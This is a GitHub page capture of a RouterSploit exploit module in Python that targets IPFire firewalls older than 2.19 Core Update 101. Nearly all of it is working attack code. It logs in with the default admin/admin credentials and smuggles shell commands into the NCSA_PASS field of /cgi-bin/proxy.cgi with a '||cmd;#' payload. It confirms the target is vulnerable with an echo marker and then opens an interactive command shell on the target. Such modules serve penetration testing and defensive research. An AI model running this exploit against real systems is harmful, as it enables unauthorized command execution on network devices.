-
Notifications
You must be signed in to change notification settings - Fork 2.4k
Expand file tree
/
Copy pathipfire_proxy_rce.py
More file actions
85 lines (69 loc) · 2.52 KB
/
Copy pathipfire_proxy_rce.py
File metadata and controls
85 lines (69 loc) · 2.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient):
__info__ = {
"name": "IPFire Proxy RCE",
"description": "Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution "
"vulnerability which allows executing commands on operating system level.",
"authors": (
"Yann CAM", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"references": (
"https://www.exploit-db.com/exploits/39765/",
"http://www.ipfire.org/news/ipfire-2-19-core-update-101-released",
),
"devices": (
"IPFire < 2.19 Core Update 101",
)
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(444, "Target HTTP port")
ssl = OptBool(True, "SSL enabled: true/false")
username = OptString("admin", "Username to log in with")
password = OptString("admin", "Password to log in with")
def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
shell(self,
architecture="cmd",
method="cmd",
payloads=["awk"])
else:
print_error("Target is not vulnerable")
def execute(self, cmd):
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": self.get_target_url(path="/cgi-bin/proxy.cgi"),
}
payload = "||{};#".format(cmd)
data = {
"NCSA_USERNAME": utils.random_text(12),
"NCSA_GROUP": "standard",
"NCSA_PASS": payload,
"NCSA_PASS_CONFIRM": payload,
"SUBMIT": "Create+user",
"ACTION": "Add",
"NCSA_MIN_PASS_LEN": "6",
}
response = self.http_request(
method="POST",
path="/cgi-bin/proxy.cgi",
headers=headers,
data=data,
auth=(self.username, self.password),
)
if response:
end = response.text.find("<!DOCTYPE html>")
if end:
return response.text[:end]
return ""
@mute
def check(self):
mark = utils.random_text(32)
cmd = "echo {}".format(mark)
response = self.execute(cmd)
if mark in response:
return True # target is vulnerable
return False # target is not vulnerable